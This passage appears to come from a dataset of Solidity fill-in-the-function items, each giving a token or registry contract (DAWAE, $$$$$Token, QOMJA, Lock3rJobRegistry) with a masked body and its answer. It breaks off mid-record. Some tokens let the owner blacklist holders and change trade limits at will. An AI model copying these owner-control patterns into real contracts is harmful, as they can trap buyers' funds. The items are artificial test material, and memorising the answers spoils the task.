return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _readyToTax(address _sender) private view returns (bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _checkTX() private view returns (uint256){
return m_TxLimit;
}
function setTxLimit(uint24 limit) external onlyOwner() {
m_TxLimit = TOTAL_SUPPLY.div(limit);
}
function setWalletLimit(uint24 limit) external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(limit);
}
function CurrentTxLimit() public view returns (uint256) {
return m_TxLimit;
}
function CurrentWalletLimit() public view returns (uint256) {
return m_WalletLimit;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {<FILL_FUNCTION_BODY> }
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
return _ret;
}
function _tax(address _sender) private {
if (_readyToTax(_sender)) {
uint256 _tokenBalance = balanceOf(address(this));
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
m_LastEthBal = address(this).balance;
}
function addLiquidity() external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp);
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
m_Liquidity = true;
}
function launch() external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(50); //set wallet limit back to 2%
m_Launched = true;
}
function checkIfBlacklist(address _address) external view returns (bool) {
return m_Blacklist[_address];
}
function checkIfWhitelist(address _address) external view returns (bool) {
return m_ExcludedAddresses[_address];
}
function blacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = true;
}
function rmBlacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = false;
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
setTaxAlloc(_address, _alloc);
if (_alloc > 0) {
m_ExcludedAddresses[_address] = true;
}
}
function addTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = true;
}
}
function rmTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = false;
}
}
} | contract DAWAE is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9;
string private m_Name = "Uganda Knuckles";
string private m_Symbol = "DAWAE";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(25); // 4% supply
uint256 private m_TxLimit = TOTAL_SUPPLY.div(25); // 4% supply
bool private m_Liquidity = false;
event SetTxLimit(uint TxLimit);
// MISC
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
bool private m_Launched = false;
bool private m_IsSwap = false;
bool private _limitTX = true;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
initTax();
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _readyToTax(address _sender) private view returns (bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _checkTX() private view returns (uint256){
return m_TxLimit;
}
function setTxLimit(uint24 limit) external onlyOwner() {
m_TxLimit = TOTAL_SUPPLY.div(limit);
}
function setWalletLimit(uint24 limit) external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(limit);
}
function CurrentTxLimit() public view returns (uint256) {
return m_TxLimit;
}
function CurrentWalletLimit() public view returns (uint256) {
return m_WalletLimit;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
<FILL_FUNCTION>
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
return _ret;
}
function _tax(address _sender) private {
if (_readyToTax(_sender)) {
uint256 _tokenBalance = balanceOf(address(this));
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
m_LastEthBal = address(this).balance;
}
function addLiquidity() external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp);
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
m_Liquidity = true;
}
function launch() external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(50); //set wallet limit back to 2%
m_Launched = true;
}
function checkIfBlacklist(address _address) external view returns (bool) {
return m_Blacklist[_address];
}
function checkIfWhitelist(address _address) external view returns (bool) {
return m_ExcludedAddresses[_address];
}
function blacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = true;
}
function rmBlacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = false;
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
setTaxAlloc(_address, _alloc);
if (_alloc > 0) {
m_ExcludedAddresses[_address] = true;
}
}
function addTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = true;
}
}
function rmTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = false;
}
}
} |
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]);
if(_walletCapped(_recipient)){
if (m_Launched){
require(balanceOf(_recipient) < m_WalletLimit);
} else {
require(_amount <= _checkTX());
require(balanceOf(_recipient) < m_WalletLimit);
}
}
uint256 _taxes = 0;
if (_trader(_sender, _recipient)) {
require(m_Launched);
if (_txRestricted(_sender, _recipient))
require(_amount <= _checkTX());
_taxes = _getTaxes(_sender, _recipient, _amount);
_tax(_sender);
}
_updateBalances(_sender, _recipient, _amount, _taxes);
| function _transfer(address _sender, address _recipient, uint256 _amount) private | function _transfer(address _sender, address _recipient, uint256 _amount) private |
64029 | Lock3rJobRegistry | add | contract Lock3rJobRegistry {
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
struct _job {
uint _id;
address _address;
string _name;
string _ipfs;
string _docs;
uint _added;
}
mapping(address => bool) public jobAdded;
mapping(address => _job) public jobData;
address[] public jobList;
constructor() public {
governance = msg.sender;
}
uint public length;
function jobs() external view returns (address[] memory) {
return jobList;
}
function job(address _address) external view returns (uint, address, string memory, string memory, string memory, uint) {
_job memory __job = jobData[_address];
return (__job._id, __job._address, __job._name, __job._ipfs, __job._docs, __job._added);
}
function set(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
require(msg.sender == governance, "Lock3rJobRegistry::add: !gov");
require(jobAdded[_address], "Lock3rJobRegistry::add: no job");
_job storage __job = jobData[_address];
__job._name = _name;
__job._ipfs = _ipfs;
__job._docs = _docs;
}
function add(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {<FILL_FUNCTION_BODY> }
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
} | contract Lock3rJobRegistry {
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
struct _job {
uint _id;
address _address;
string _name;
string _ipfs;
string _docs;
uint _added;
}
mapping(address => bool) public jobAdded;
mapping(address => _job) public jobData;
address[] public jobList;
constructor() public {
governance = msg.sender;
}
uint public length;
function jobs() external view returns (address[] memory) {
return jobList;
}
function job(address _address) external view returns (uint, address, string memory, string memory, string memory, uint) {
_job memory __job = jobData[_address];
return (__job._id, __job._address, __job._name, __job._ipfs, __job._docs, __job._added);
}
function set(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
require(msg.sender == governance, "Lock3rJobRegistry::add: !gov");
require(jobAdded[_address], "Lock3rJobRegistry::add: no job");
_job storage __job = jobData[_address];
__job._name = _name;
__job._ipfs = _ipfs;
__job._docs = _docs;
}
<FILL_FUNCTION>
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
} |
require(msg.sender == governance, "Lock3rV1JobRegistry::add: !gov");
require(!jobAdded[_address], "Lock3rV1JobRegistry::add: job exists");
jobAdded[_address] = true;
jobList.push(_address);
jobData[_address] = _job(length++, _address, _name, _ipfs, _docs, now);
| function add(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external | function add(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external |
19265 | $$$$$Token | transferFrom | contract $$$$$Token is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "$$$$$";
name = "Hyperinflationary Reserve Currency";
decimals = 0;
_totalSupply = 1000000000000000000000000000000000;
balances[0xEc04e183b965f150Cb6e37182efFC14d41AB86c0] = _totalSupply;
emit Transfer(address(0), 0xEc04e183b965f150Cb6e37182efFC14d41AB86c0, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | contract $$$$$Token is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "$$$$$";
name = "Hyperinflationary Reserve Currency";
decimals = 0;
_totalSupply = 1000000000000000000000000000000000;
balances[0xEc04e183b965f150Cb6e37182efFC14d41AB86c0] = _totalSupply;
emit Transfer(address(0), 0xEc04e183b965f150Cb6e37182efFC14d41AB86c0, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
73718 | QOMJA | _reflectFee | contract QOMJA is Context, IERC20, ERC20Ownable {
using SafeMath for uint256;
string private constant _na = "QOMJA";
string private constant _sym = "QOMJA";
uint8 private constant _deci = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily
mapping(address => bool) private _isExcluded;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isMaxWalletExclude;
mapping (address => bool) private _isExcludedMaxTxnAmount;
mapping (address => bool) public isBot;
mapping(address => bool) public isSniper;
address payable private MarketingWallet;
address payable private OtherWallet;
address payable private DevWallet;
address dead = address(0xdead);
IUniswapV2Router02 public uniV2Router;
address public uniV2Pair;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxWallet;
uint256 private _minTaxSwap;
uint256 private tokensForMarketing;
uint256 private tokensForOther;
uint256 private tokensForLiquidity;
uint256 private totalBurnedTokens;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 private _marketingTax = 5;
uint256 private _previousMarketingTax = _marketingTax;
uint256 private _otherTax = 5;
uint256 private _previousOtherTax = _otherTax;
uint256 private _reflectionsTax = 0;
uint256 private _previousReflectionsTax = _reflectionsTax;
uint256 private _liquidityTax = 2;
uint256 private _previousLiquidityTax = _liquidityTax;
uint256 private _divForLiq = _marketingTax + _liquidityTax + _otherTax;
uint256 public taxBuyMarketing = 5;
uint256 public taxBuyOther = 5;
uint256 public taxBuyReflections = 0;
uint256 public taxBuyLiquidity = 2;
uint256 public taxSellMarketing = 3;
uint256 public taxSellOther = 5;
uint256 public taxSellReflections = 0;
uint256 public taxSellLiquidity = 2;
uint256 public activeTradingBlock = 0;
uint256 public earlyBuyPenaltyEnd;
uint256 public maxTxnAmount;
bool public limitsOn = false;
bool private _initiateTrades = true;
bool public maxWalletOn = false;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event OwnerForcedSwapBack(uint256 timestamp);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal;
maxTxnAmount = _tTotal / 100;
_maxWallet = _tTotal * 2 / 100;
_minTaxSwap = _tTotal * 5 / 10000;
MarketingWallet = payable(0x1AFE935feF2B2A950ceF26b98aFBbE0d0502BaD6);
OtherWallet = payable(0x4B1274EA3C0230afEc3b27e05e5869f421A35526);
DevWallet = payable(0x28D22451370fB339797Fa5da085efb61a16D6F50);
_isExcluded[dead] = true;
_isExcludedFromFee[_msgSender()] = true;
_isExcludedFromFee[dead] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[OtherWallet] = true;
_isExcludedFromFee[DevWallet] = true;
_isMaxWalletExclude[address(this)] = true;
_isMaxWalletExclude[_msgSender()] = true;
_isMaxWalletExclude[dead] = true;
_isMaxWalletExclude[MarketingWallet] = true;
_isMaxWalletExclude[OtherWallet] = true;
_isMaxWalletExclude[DevWallet] = true;
BotAddToList(0x41B0320bEb1563A048e2431c8C1cC155A0DFA967);
BotAddToList(0x91B305F0890Fd0534B66D8d479da6529C35A3eeC);
BotAddToList(0x7F5622afb5CEfbA39f96CA3b2814eCF0E383AAA4);
BotAddToList(0xfcf6a3d7eb8c62a5256a020e48f153c6D5Dd6909);
BotAddToList(0x74BC89a9e831ab5f33b90607Dd9eB5E01452A064);
BotAddToList(0x1F53592C3aA6b827C64C4a3174523182c52Ece84);
BotAddToList(0x460545C01c4246194C2e511F166D84bbC8a07608);
BotAddToList(0x2E5d67a1d15ccCF65152B3A8ec5315E73461fBcd);
BotAddToList(0xb5aF12B837aAf602298B3385640F61a0fF0F4E0d);
BotAddToList(0xEd3e444A30Bd440FBab5933dCCC652959DfCB5Ba);
BotAddToList(0xEC366bbA6266ac8960198075B14FC1D38ea7de88);
BotAddToList(0x10Bf6836600D7cFE1c06b145A8Ac774F8Ba91FDD);
BotAddToList(0x44ae54e28d082C98D53eF5593CE54bB231e565E7);
BotAddToList(0xa3e820006F8553d5AC9F64A2d2B581501eE24FcF);
BotAddToList(0x2228476AC5242e38d5864068B8c6aB61d6bA2222);
BotAddToList(0xcC7e3c4a8208172CA4c4aB8E1b8B4AE775Ebd5a8);
BotAddToList(0x5b3EE79BbBDb5B032eEAA65C689C119748a7192A);
BotAddToList(0x4ddA45d3E9BF453dc95fcD7c783Fe6ff9192d1BA);
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function name() public pure override returns (string memory) {
return _na;
}
function symbol() public pure override returns (string memory) {
return _sym;
}
function decimals() public pure override returns (uint8) {
return _deci;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")
);
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amt must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amt must be less than tot refl");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {<FILL_FUNCTION_BODY> }
function _getValues(uint256 tAmount) private view returns (uint256,uint256,uint256,uint256,uint256,uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)private view returns (uint256,uint256,uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount,uint256 tFee,uint256 tLiquidity,uint256 currentRate) private pure returns (uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
